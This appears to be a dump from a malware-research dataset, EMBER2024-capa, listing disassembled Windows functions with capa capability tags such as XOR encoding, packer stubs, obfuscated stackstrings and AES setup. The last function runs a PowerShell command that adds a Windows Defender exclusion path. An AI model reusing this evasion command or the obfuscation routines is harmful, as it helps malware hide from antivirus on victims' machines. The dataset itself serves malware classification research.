joyce8/EMBER2024-capa huggingface dataset:
Function at 0x423854
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff778
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 4], ecx
xor ecx, ecx
push ebp
push 0x423979
push dword fs:[ecx]
mov dword fs:[ecx], esp
push 0x400
lea ecx, [ebp - 0x888]
call fcn.0042365c
mov esi, eax
mov eax, dword [0x4d59ec]
cmp byte [eax], 0
je 0x423921
mov eax, dword [0x4d5848]
call fcn.00407208
call fcn.00406b0c
push 0
push 0
push 0
push 0
push esi
lea eax, [ebp - 0x888]
push eax
push 0
push 1
call sub.kernel32.dll_WideCharToMultiByte_1
mov ebx, eax
push ebx
lea eax, [ebp - 4]
mov ecx, 1
mov edx, dword [0x423824]
call fcn.0040b2a0
add esp, 4
push 0
push 0
push ebx
mov eax, dword [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x888]
push eax
push 0
push 1
call sub.kernel32.dll_WideCharToMultiByte_1
push 0
lea eax, [ebp - 8]
push eax
push ebx
mov eax, dword [ebp - 4]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [ebp - 8]
push eax
push 2
push 0x423994
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x42395d
push 0x40
lea eax, [ebp - 0x88]
push eax
mov eax, dword [0x4d5810]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x4d8c50]
call fcn.0040b690
push eax
call sub.user32.dll_LoadStringW_1
push 0x2010
lea eax, [ebp - 0x88]
push eax
lea eax, [ebp - 0x888]
push eax
push 0
call sub.user32.dll_MessageBoxW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x423980
lea eax, [ebp - 4]
mov edx, dword [0x423824]
call fcn.0040b3c4
ret

Function at 0x425540
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffdf8
mov ebx, eax
mov eax, ebx
call fcn.004099b8
mov ebp, eax
push ebp
push 0
push 0
mov ecx, ebx
xor edx, edx
mov eax, 0xfde9
call fcn.0040d018
mov edi, eax
cmp edi, 0x104
jbe 0x4254eb
mov eax, edi
add eax, eax
call fcn.004069b8
mov esi, eax
jmp 0x4254ed
mov esi, esp
push ebp
push esi
push edi
mov ecx, ebx
xor edx, edx
mov eax, 0xfde9
call fcn.0040d018
push esi
call sub.user32.dll_CharUpperW
xor ebx, ebx
mov eax, edi
dec eax
test eax, eax
jl 0x425526
inc eax
xor edx, edx
mov ecx, ebx
shl ecx, 5
shr ebx, 0x1b
or ecx, ebx
mov ebx, ecx
movzx ecx, word [esi + edx*2]
xor ebx, ecx
inc edx
dec eax
jne 0x425510
mov eax, esp
cmp esi, eax
je 0x425533
mov eax, esi
call fcn.004069d4
mov eax, ebx
add esp, 0x208
pop ebp
pop edi
pop esi
pop ebx
ret
push esi
push ebx
mov esi, eax
xor eax, eax
push esi
rol eax, 5
mov bl, byte [esi]
test bl, 0x80
jne 0x42556c
cmp bl, 0
je 0x425568
cmp bl, 0x41
jl 0x425563
cmp bl, 0x5a
jg 0x425563
or bl, 0x20
xor al, bl
inc esi
jmp 0x425547
pop ecx
pop ebx
pop esi
ret
pop eax
pop ebx
pop esi
jmp 0x4254ac

Function at 0x425db8
Capabilities:
Get geographical location

Disassembly:
push ebx
add esp, 0xfffff800
mov ebx, ecx
mov word [esp], 0
push 0x400
lea ecx, [esp + 4]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoW_1
mov eax, ebx
mov edx, esp
mov ecx, 0x400
call fcn.0040a0b0
add esp, 0x800
pop ebx
ret
Function at 0x47d0d4
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
mov dl, 0xb5
mov ebx, eax
xor eax, eax
mov ecx, eax
mov esi, ebx
shr esi, cl
mov ecx, esi
and cl, 0xff
xor dl, cl
inc eax
cmp eax, 4
jne 0x47d0dc
mov eax, edx
pop esi
pop ebx
ret

Function at 0x4ad534
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
mov ebx, eax
xor eax, eax
push ebp
push 0x4ad5d2
push dword fs:[eax]
mov dword fs:[eax], esp
or dl, byte [ebx + 0xd]
je 0x4ad596
cmp byte [ebx + 0x11], 0
jne 0x4ad596
cmp byte [ebx + 0x3c], 0
jne 0x4ad596
mov byte [ebx + 0xf], 0
mov byte [ebx + 0xd], 0
mov eax, dword [ebx + 8]
push eax
call sub.kernel32.dll_ResumeThread
cmp eax, 1
je 0x4ad5b7
lea edx, [ebp - 4]
mov eax, dword [0x4d59a8]
call fcn.0040cf84
mov ecx, dword [ebp - 4]
mov dl, 1
mov eax, dword [0x488718]
call fcn.004239a4
call fcn.00408be4
jmp 0x4ad5b7
lea edx, [ebp - 8]
mov eax, dword [0x4d59a8]
call fcn.0040cf84
mov ecx, dword [ebp - 8]
mov dl, 1
mov eax, dword [0x488718]
call fcn.004239a4
call fcn.00408be4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4ad5d9
lea eax, [ebp - 8]
mov edx, 2
call fcn.00409548
ret

Function at 0x4adf70
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax + 0xf]
mov byte [ebp - 5], al
xor eax, eax
push ebp
push 0x4adfbe
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov byte [eax + 0xf], 1
mov eax, dword [ebp - 4]
mov eax, dword [eax + 8]
push eax
call sub.kernel32.dll_SuspendThread
test eax, eax
setge dl
mov eax, dword [ebp - 4]
call fcn.004ad3b4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4adfd7
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret

Function at 0x4cd250
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov ebx, edx
test ebx, ebx
js 0x4cd26e
shr ebx, 2
mov esi, dword [eax + ebx*4]
dec ebx
push esi
jns 0x4cd267
mov eax, esp
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x4cd302
push dword fs:[eax]
mov dword fs:[eax], esp
mov ebx, dword [ebp - 0xc]
inc ebx
mov edx, ebx
lea eax, [ebp - 4]
xor ecx, ecx
call fcn.00409d28
mov edi, ebx
dec edi
test edi, edi
jl 0x4cd2e1
inc edi
xor esi, esi
mov ebx, dword [ebp - 8]
lea eax, [esi + 1]
push eax
mov eax, 0xff
pop edx
mov ecx, edx
cdq
idiv ecx
movzx edx, byte [ebx]
xor al, dl
mov edx, esi
inc edx
lea edx, [edx + edx*2]
movzx ecx, byte [ebp - 0xc]
inc ecx
lea ecx, [ecx + ecx*4]
add dl, cl
xor al, dl
mov byte [ebp - 0x11], al
lea eax, [ebp - 4]
call fcn.00409a68
movzx edx, byte [ebp - 0x11]
mov byte [eax + esi], dl
inc esi
inc ebx
dec edi
jne 0x4cd2a4
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 4]
call fcn.0040a0cc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4cd309
lea eax, [ebp - 4]
call fcn.0040950c
ret
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x42e030
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x42e01e
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp loc.00401219
Function at 0x3c135ce
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, 0x5a4d
push ebx
push esi
mov esi, edx
push edi
mov edi, ecx
cmp word [esi], ax
jne 0x3c13731
mov ebx, dword [esi + 0x3c]
add ebx, esi
cmp dword [ebx], 0x4550
jne 0x3c13731
mov eax, dword [edi + 0x684]
test eax, eax
je 0x3c13731
lea ecx, [ebp - 4]
push ecx
lea ecx, [ebp - 8]
push ecx
push 0xffffffffffffffff
call eax
test eax, eax
je 0x3c13731
mov eax, 0x1c0
cmp word [ebp - 4], ax
je 0x3c13636
mov eax, 0xaa64
cmp word [ebp - 4], ax
jne 0x3c13731
cmp dword [ebx + 8], 0x27debf2c
jne 0x3c13661
push 0x4b2e8f83
push 0x4b2e8de3
push 0x4b280000
mov edx, esi
mov ecx, edi
call fcn.03c13548
add esp, 0xc
xor eax, eax
jmp 0x3c13736
cmp dword [ebx + 8], 0x88330560
jne 0x3c13676
push 0x4b3fabde
push 0x4b3fa92b
jmp 0x3c13649
cmp dword [ebx + 8], 0xe892dd44
jne 0x3c1368b
push 0x4b406b8e
push 0x4b4068db
jmp 0x3c13649
and dword [ebp - 0xc], 0
lea edx, [ebp - 0xc]
push 0
push 1
push ecx
push 0x2bcd03a7
push esi
mov ecx, edi
call fcn.03c14000
test eax, eax
js 0x3c13736
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x3c13731
lea eax, [ebx - 0x140]
mov dword [ebp - 0x1c], 0x3f3f3fe8
push 8
lea ecx, [ebp - 0x1c]
mov word [ebp - 0x18], 0x843f
push ecx
mov edx, 0x140
mov byte [ebp - 0x16], 0xc0
mov ecx, eax
mov dword [ebp - 0x24], 0x1b8
mov word [ebp - 0x20], 0x8400
mov byte [ebp - 0x1e], 0xc0
mov dword [ebp - 0x10], eax
call fcn.03c14598
mov dword [ebp - 0x14], eax
test eax, eax
jne 0x3c13701
mov ecx, dword [ebp - 0x10]
mov edx, 0x140
jmp 0x3c1371e
push 7
lea eax, [ebp - 0x1c]
mov edx, 0x200
push eax
mov ecx, ebx
call fcn.03c14598
test eax, eax
jne 0x3c1373b
mov edx, 0x200
mov ecx, ebx
push 8
lea eax, [ebp - 0x24]
push eax
call fcn.03c14598
test eax, eax
jne 0x3c1365a
mov eax, 0xe0010001
pop edi
pop esi
pop ebx
leave
ret
push eax
push dword [ebp - 0x14]
push esi
jmp 0x3c1364e

Function at 0x3c14420
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x3c1443e
mov eax, dword [ecx + 0x3c]
cmp eax, 0x400
jg 0x3c1443e
add eax, ecx
cmp dword [eax], 0x4550
je 0x3c14440
xor eax, eax
ret
Function at 0x3c17800
Capabilities:
Encode data using xor
Manually build aes constants

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x808
mov edx, 1
push ebx
push esi
push edi
xor esi, esi
mov eax, edx
mov dword [ebp + esi*4 - 0x808], edx
and al, 0x80
mov dword [ebp + edx*4 - 0x408], esi
movzx ecx, al
lea eax, [edx + edx]
neg ecx
sbb ecx, ecx
inc esi
and ecx, 0x1b
xor ecx, eax
xor ecx, edx
movzx edx, cl
cmp esi, 0x100
jl 0x3c17813
mov esi, 1
mov edx, 0x3c1eab8
nop dword [eax]
mov eax, esi
mov dword [edx], esi
and al, 0x80
movzx ecx, al
lea eax, [esi + esi]
neg ecx
sbb ecx, ecx
add edx, 4
and ecx, 0x1b
xor ecx, eax
movzx esi, cl
cmp edx, 0x3c1eae0
jl 0x3c17850
mov eax, 1
mov byte [0x3c1c8b8], 0x63
mov byte [0x3c1da1b], 0
mov dword [ebp - 4], eax
nop dword [eax]
mov ecx, dword [ebp + eax*4 - 0x408]
lea eax, [ebp - 0x40c]
shl ecx, 2
sub eax, ecx
mov ebx, dword [eax]
mov ecx, ebx
sar ecx, 7
lea eax, [ebx + ebx]
or ecx, eax
movzx eax, cl
xor ebx, eax
mov ecx, eax
shr ecx, 7
add eax, eax
or ecx, eax
movzx eax, cl
xor ebx, eax
mov ecx, eax
add eax, eax
shr ecx, 7
or ecx, eax
movzx edx, cl
mov ecx, edx
shr ecx, 7
lea eax, [edx + edx]
or ecx, eax
xor ecx, 0x63
movzx eax, cl
xor eax, edx
xor ebx, eax
mov eax, dword [ebp - 4]
mov byte [eax + 0x3c1c8b8], bl
mov byte [ebx + 0x3c1d9b8], al
inc eax
mov dword [ebp - 4], eax
cmp eax, 0x100
jl 0x3c17890
mov ebx, 0xff
xor esi, esi
mov dword [ebp - 8], ebx
movzx edx, byte [esi + 0x3c1c8b8]
mov eax, edx
and al, 0x80
movzx ecx, al
neg ecx
lea eax, [edx + edx]
sbb ecx, ecx
and ecx, 0x1b
xor ecx, eax
movzx eax, cl
mov ecx, eax
xor ecx, edx
shl ecx, 8
xor ecx, edx
shl ecx, 8
xor ecx, edx
shl ecx, 8
xor ecx, eax
mov dword [esi*4 + 0x3c1c9b8], ecx
rol ecx, 8
mov dword [esi*4 + 0x3c1cdb8], ecx
rol ecx, 8
mov dword [esi*4 + 0x3c1d1b8], ecx
rol ecx, 8
mov dword [esi*4 + 0x3c1d5b8], ecx
movzx ecx, byte [esi + 0x3c1d9b8]
test ecx, ecx
je 0x3c179bf
mov ecx, dword [ebp + ecx*4 - 0x408]
mov eax, dword [ebp - 0x3d0]
add eax, ecx
cdq
idiv ebx
mov eax, dword [ebp - 0x3e4]
add eax, ecx
mov edi, dword [ebp + edx*4 - 0x808]
cdq
idiv ebx
mov eax, dword [ebp - 0x3d4]
add eax, ecx
mov ebx, dword [ebp + edx*4 - 0x808]
cdq
idiv dword [ebp - 8]
mov eax, dword [ebp + edx*4 - 0x808]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x3dc]
add eax, ecx
mov ecx, 0xff
cdq
idiv ecx
mov eax, dword [ebp + edx*4 - 0x808]
jmp 0x3c179c8
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ebx
xor eax, eax
shl eax, 8
xor eax, dword [ebp - 4]
shl eax, 8
xor eax, ebx
mov ebx, 0xff
shl eax, 8
xor eax, edi
mov dword [esi*4 + 0x3c1dab8], eax
rol eax, 8
mov dword [esi*4 + 0x3c1deb8], eax
rol eax, 8
mov dword [esi*4 + 0x3c1e2b8], eax
rol eax, 8
mov dword [esi*4 + 0x3c1e6b8], eax
inc esi
cmp esi, 0x100
jl 0x3c17905
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x3c17a20
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
sub esp, 0x18
test al, 0xf
je 0x3c17a36
mov eax, 0xffffffde
mov esp, ebp
pop ebp
ret
test eax, eax
je 0x3c17b8a
cmp dword [ebp + 0xc], 0
mov ecx, dword [ebp + 0x14]
push ebx
push esi
mov esi, dword [ebp + 0x1c]
push edi
jne 0x3c17ad2
mov ebx, dword [ebp + 0x18]
lea edx, [ecx + 0xf]
dec eax
mov dword [ebp - 8], edx
mov edi, ecx
shr eax, 4
sub edi, esi
inc eax
mov dword [ebp + 0x10], eax
movups xmm0, xmmword [ebx]
push esi
push ebx
push dword [ebp + 8]
movups xmmword [ebp - 0x18], xmm0
call fcn.03c18d60
add esp, 0xc
cmp esi, dword [ebp - 8]
ja 0x3c17aa3
lea eax, [esi + 0xf]
cmp eax, dword [ebp + 0x14]
jb 0x3c17aa3
mov ecx, esi
mov edx, 0x10
nop
mov al, byte [edi + ecx]
lea ecx, [ecx + 1]
xor byte [ecx - 1], al
sub edx, 1
jne 0x3c17a90
mov eax, dword [ebp + 0x14]
jmp 0x3c17ab3
mov eax, dword [ebp + 0x14]
movups xmm0, xmmword [esi]
movups xmm1, xmmword [eax]
pxor xmm1, xmm0
movups xmmword [esi], xmm1
movups xmm0, xmmword [ebp - 0x18]
add esi, 0x10
add ebx, 0x10
sub edi, 0x10
sub dword [ebp + 0x10], 1
movups xmmword [eax], xmm0
jne 0x3c17a66
pop edi
pop esi
pop ebx
xor eax, eax
mov esp, ebp
pop ebp
ret
mov edi, dword [ebp + 0x18]
lea edx, [eax - 1]
mov ebx, ecx
shr edx, 4
sub ebx, edi
mov dword [ebp - 4], esi
inc edx
mov dword [ebp + 0x10], ebx
mov dword [ebp - 8], edx
mov edx, dword [ebp + 8]
nop dword [eax]
lea eax, [edi + 0xf]
cmp esi, eax
ja 0x3c17afe
lea eax, [esi + 0xf]
cmp eax, edi
jae 0x3c17b0c
lea eax, [ecx + 0xf]
cmp esi, eax
ja 0x3c17b3d
lea eax, [esi + 0xf]
cmp eax, ecx
jb 0x3c17b3d
mov ebx, esi
mov ecx, edi
mov esi, dword [ebp + 0x10]
sub ebx, edi
mov edx, 0x10
nop word [eax + eax]
mov al, byte [esi + ecx]
lea ecx, [ecx + 1]
xor al, byte [ecx - 1]
mov byte [ebx + ecx - 1], al
sub edx, 1
jne 0x3c17b20
mov esi, dword [ebp - 4]
mov ebx, dword [ebp + 0x10]
mov edx, dword [ebp + 8]
jmp 0x3c17b4a
movups xmm1, xmmword [ecx]
movups xmm0, xmmword [edi]
pxor xmm1, xmm0
movups xmmword [esi], xmm1
cmp dword [ebp + 0xc], 1
push esi
push esi
push edx
jne 0x3c17b5a
call fcn.03c192f0
jmp 0x3c17b5f
call fcn.03c18d60
movups xmm0, xmmword [esi]
mov ecx, dword [ebp + 0x14]
sub ebx, 0x10
mov edx, dword [ebp + 8]
add esi, 0x10
add esp, 0xc
mov dword [ebp + 0x10], ebx
add edi, 0x10
mov dword [ebp - 4], esi
sub dword [ebp - 8], 1
movups xmmword [ecx], xmm0
jne 0x3c17af0
pop edi
pop esi
pop ebx
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x3c17bd0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
push esi
push edi
push dword [ebp + 0x10]
xor eax, eax
lea edi, [ebp - 0x118]
push dword [ebp + 0xc]
mov ecx, 0x46
rep stosd dword es:[edi], eax
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x118]
push eax
lea esi, [edi + 8]
mov dword [edi + 4], esi
call fcn.03c17dd0
add esp, 0xc
mov dword [ebp + 8], eax
test eax, eax
jne 0x3c17dc4
mov ecx, dword [ebp - 0x118]
mov dword [edi], ecx
shl ecx, 4
add ecx, dword [ebp - 0x114]
mov eax, dword [ecx]
mov dword [esi], eax
mov eax, dword [ecx + 4]
mov dword [esi + 4], eax
mov eax, dword [ecx + 8]
mov dword [esi + 8], eax
mov eax, dword [ecx + 0xc]
sub ecx, 0x10
mov dword [esi + 0xc], eax
add esi, 0x10
mov edi, dword [edi]
dec edi
test edi, edi
jle 0x3c17dab
push ebx
nop dword [eax]
movzx eax, byte [ecx + 3]
dec edi
movzx edx, byte [eax + 0x3c1c8b8]
movzx eax, byte [ecx + 2]
mov edx, dword [edx*4 + 0x3c1e6b8]
movzx eax, byte [eax + 0x3c1c8b8]
xor edx, dword [eax*4 + 0x3c1e2b8]
movzx eax, byte [ecx + 1]
movzx eax, byte [eax + 0x3c1c8b8]
xor edx, dword [eax*4 + 0x3c1deb8]
movzx eax, byte [ecx]
movzx eax, byte [eax + 0x3c1c8b8]
xor edx, dword [eax*4 + 0x3c1dab8]
mov dword [esi], edx
mov ebx, dword [ecx + 4]
mov eax, ebx
shr eax, 0x10
movzx eax, al
movzx edx, byte [eax + 0x3c1c8b8]
mov eax, ebx
shr eax, 8
movzx eax, al
mov edx, dword [edx*4 + 0x3c1e2b8]
movzx eax, byte [eax + 0x3c1c8b8]
xor edx, dword [eax*4 + 0x3c1deb8]
mov eax, ebx
shr eax, 0x18
movzx eax, byte [eax + 0x3c1c8b8]
xor edx, dword [eax*4 + 0x3c1e6b8]
movzx eax, bl
movzx eax, byte [eax + 0x3c1c8b8]
xor edx, dword [eax*4 + 0x3c1dab8]
mov dword [esi + 4], edx
mov ebx, dword [ecx + 8]
mov eax, ebx
shr eax, 0x10
movzx eax, al
movzx edx, byte [eax + 0x3c1c8b8]
mov eax, ebx
shr eax, 8
movzx eax, al
mov edx, dword [edx*4 + 0x3c1e2b8]
movzx eax, byte [eax + 0x3c1c8b8]
xor edx, dword [eax*4 + 0x3c1deb8]
mov eax, ebx
shr eax, 0x18
movzx eax, byte [eax + 0x3c1c8b8]
xor edx, dword [eax*4 + 0x3c1e6b8]
movzx eax, bl
movzx eax, byte [eax + 0x3c1c8b8]
xor edx, dword [eax*4 + 0x3c1dab8]
mov dword [esi + 8], edx
mov ebx, dword [ecx + 0xc]
mov eax, ebx
shr eax, 0x10
sub ecx, 0x10
movzx eax, al
movzx edx, byte [eax + 0x3c1c8b8]
mov eax, ebx
shr eax, 8
movzx eax, al
mov edx, dword [edx*4 + 0x3c1e2b8]
movzx eax, byte [eax + 0x3c1c8b8]
xor edx, dword [eax*4 + 0x3c1deb8]
mov eax, ebx
shr eax, 0x18
movzx eax, byte [eax + 0x3c1c8b8]
xor edx, dword [eax*4 + 0x3c1e6b8]
movzx eax, bl
movzx eax, byte [eax + 0x3c1c8b8]
xor edx, dword [eax*4 + 0x3c1dab8]
mov dword [esi + 0xc], edx
add esi, 0x10
test edi, edi
jg 0x3c17c50
pop ebx
mov eax, dword [ecx]
mov dword [esi], eax
mov eax, dword [ecx + 4]
mov dword [esi + 4], eax
mov eax, dword [ecx + 8]
mov dword [esi + 8], eax
mov eax, dword [ecx + 0xc]
mov dword [esi + 0xc], eax
mov eax, dword [ebp + 8]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x3c19880
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov dword [ebp - 0x3c], 0x6b25
mov edx, 0x6b41
mov word [ebp - 0x38], dx
mov eax, 0x6b47
mov word [ebp - 0x36], ax
mov ecx, 0x6b49
mov eax, 0x6b42
mov word [ebp - 0x34], ax
mov eax, 0x6b4d
mov word [ebp - 0x32], ax
mov eax, 0x6b40
mov word [ebp - 0x30], ax
mov eax, 0x6b55
mov word [ebp - 0x2e], cx
mov word [ebp - 0x2c], ax
mov eax, 0x6b0b
mov word [ebp - 0x2a], ax
xor eax, eax
mov word [ebp - 0x28], dx
xor edx, edx
mov word [ebp - 0x26], cx
mov word [ebp - 0x24], cx
mov word [ebp - 0x22], ax
mov ax, word [ebp - 0x38]
nop dword [eax]
mov ax, word [ebp + edx*2 - 0x38]
movzx ecx, ax
movzx eax, word [ebp - 0x3c]
xor ecx, eax
mov word [ebp + edx*2 - 0x38], cx
inc edx
cmp edx, 0xb
jb 0x3c198f0
push esi
xor eax, eax
push edi
mov edi, dword [ebp + 8]
mov word [ebp - 0x22], ax
lea eax, [ebp - 0x38]
push eax
mov eax, dword [edi + 0x6a0]
call eax
mov edx, eax
test edx, edx
jne 0x3c19931
pop edi
mov eax, 0xe0d00721
pop esi
mov esp, ebp
pop ebp
ret
mov byte [ebp - 0x1e], 0x55
xor ecx, ecx
mov byte [ebp - 0x1d], 0x71
mov byte [ebp - 0x1c], 0x76
mov byte [ebp - 0x1b], 0x71
mov byte [ebp - 0x1a], 0x4c
mov byte [ebp - 0x19], 0x7d
mov byte [ebp - 0x18], 0x75
mov byte [ebp - 0x17], 0x78
mov byte [ebp - 0x16], 0x5f
mov byte [ebp - 0x15], 0x7a
mov byte [ebp - 0x14], 0x71
mov byte [ebp - 0x13], 0x7c
mov byte [ebp - 0x12], 0x6d
mov byte [ebp - 0x11], 0x4c
mov byte [ebp - 0x10], 0x7d
mov byte [ebp - 0xf], 0x75
mov byte [ebp - 0xe], 0x78
mov byte [ebp - 0xd], 0
mov al, byte [ebp - 0x1e]
nop
mov al, byte [ebp + ecx - 0x1e]
movsx eax, al
sub eax, 8
mov byte [ebp + ecx - 0x1e], al
inc ecx
cmp ecx, 0x11
jb 0x3c19980
lea eax, [ebp - 0x1e]
push eax
mov eax, dword [edi + 0x6a8]
push edx
call eax
mov esi, eax
test esi, esi
jne 0x3c199b2
pop edi
mov eax, 0xe0d00728
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [edi + 0x68c]
push ebx
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
push dword [ebp + 0xc]
call eax
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x3c199e3
pop ebx
pop edi
mov eax, 0xe0d00751
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [edi + 0x748]
call eax
mov ecx, dword [ebp + 0x10]
xor edx, edx
mov dword [ebp - 0xc], eax
test ecx, ecx
push 0
push 0
lea eax, [ebp - 0xc]
mov dword [ebp - 8], ecx
cmove eax, edx
mov dword [ebp - 4], 1
push eax
push dword [ebp + 0x14]
mov eax, dword [edi + 0x75c]
push ebx
call eax
push eax
push 0xffffffffffffffff
call esi
mov ecx, dword [edi + 0x698]
mov esi, eax
push ebx
call ecx
xor ecx, ecx
mov eax, 0xe0d00770
pop ebx
test esi, esi
pop edi
cmovne eax, ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x3c1bc90
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x450
xor ecx, ecx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
mov eax, dword [esi + 0x24]
mov word [edi], cx
test eax, eax
je 0x3c1be8d
push ebx
mov ebx, dword [esi + 0x24]
test ebx, ebx
je 0x3c1be8c
mov ecx, 0x27
mov edx, 0x32
nop word [eax + eax]
mov word [ebp - 0x26], cx
mov eax, 0x34
mov word [ebp - 0x24], dx
mov word [ebp - 0x22], ax
mov eax, 0x5a
mov word [ebp - 0x20], ax
xor eax, eax
mov word [ebp - 0x1e], ax
xor ecx, ecx
mov ax, word [ebp - 0x26]
nop word [eax + eax]
mov ax, word [ebp + ecx*2 - 0x26]
movzx eax, ax
add eax, 0xfffffffe
mov word [ebp + ecx*2 - 0x26], ax
inc ecx
cmp ecx, 4
jb 0x3c1bd00
movsx eax, byte [esi + ebx + 0x28]
push eax
lea eax, [ebp - 0x26]
push eax
lea eax, [ebp - 0x50]
push eax
mov eax, dword [esi + 0x770]
call eax
add esp, 0xc
cmp word [edi], 0
jne 0x3c1bd87
mov dword [ebp - 0x1c], 0x951e
mov eax, 0x953b
mov word [ebp - 0x18], ax
mov eax, 0x9572
mov word [ebp - 0x16], ax
mov eax, 0x956d
mov word [ebp - 0x14], ax
xor eax, eax
mov word [ebp - 0x12], ax
xor edx, edx
mov ax, word [ebp - 0x18]
mov ax, word [ebp + edx*2 - 0x18]
movzx ecx, ax
movzx eax, word [ebp - 0x1c]
xor ecx, eax
mov word [ebp + edx*2 - 0x18], cx
inc edx
cmp edx, 3
jb 0x3c1bd63
xor eax, eax
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x18]
jmp 0x3c1bdf3
mov dword [ebp - 0x10], 0x65c3
mov eax, dword [ebp - 0x10]
xor eax, 0x25
mov word [ebp - 0xc], ax
mov eax, dword [ebp - 0x10]
inc eax
xor eax, 0x6c
mov word [ebp - 0xa], ax
mov eax, dword [ebp - 0x10]
add eax, 2
xor eax, 0x73
mov word [ebp - 8], ax
mov eax, dword [ebp - 0x10]
add eax, 3
xor eax, 0x2d
mov word [ebp - 6], ax
xor eax, eax
mov word [ebp - 4], ax
mov ax, word [ebp - 0xc]
xor eax, eax
nop dword [eax]
mov cx, word [ebp + eax*2 - 0xc]
mov edx, dword [ebp - 0x10]
add edx, eax
movzx ecx, cx
xor edx, ecx
mov word [ebp + eax*2 - 0xc], dx
inc eax
cmp eax, 4
jb 0x3c1bdd0
xor eax, eax
mov word [ebp - 4], ax
lea eax, [ebp - 0xc]
push edi
push eax
lea eax, [ebp - 0x450]
push eax
mov eax, dword [esi + 0x770]
call eax
mov dword [ebp - 0x3c], 0x882e
mov eax, 0x880b
mov word [ebp - 0x38], ax
mov ecx, 0x8842
mov word [ebp - 0x36], cx
mov edx, 0x885d
mov word [ebp - 0x34], dx
add esp, 0xc
mov word [ebp - 0x32], ax
xor eax, eax
mov word [ebp - 0x30], cx
mov word [ebp - 0x2e], dx
xor edx, edx
mov word [ebp - 0x2c], ax
mov ax, word [ebp - 0x38]
mov ax, word [ebp + edx*2 - 0x38]
movzx ecx, ax
movzx eax, word [ebp - 0x3c]
xor ecx, eax
mov word [ebp + edx*2 - 0x38], cx
inc edx
cmp edx, 6
jb 0x3c1be41
xor eax, eax
mov word [ebp - 0x2c], ax
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x450]
push eax
lea eax, [ebp - 0x38]
push eax
mov eax, dword [esi + 0x770]
push edi
call eax
mov ecx, 0x27
add esp, 0x10
lea edx, [ecx + 0xb]
sub ebx, 1
jne 0x3c1bcd0
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x401460
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], str.powershell__Command__Add_MpPreference__ExclusionPath__s__ErrorAction_SilentlyContinue_
lea eax, [ebp - 0x208]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 4], 0
lea eax, [ebp - 0x208]
mov dword [esp], eax
call sym._WinExec_8
sub esp, 8
nop
leave
ret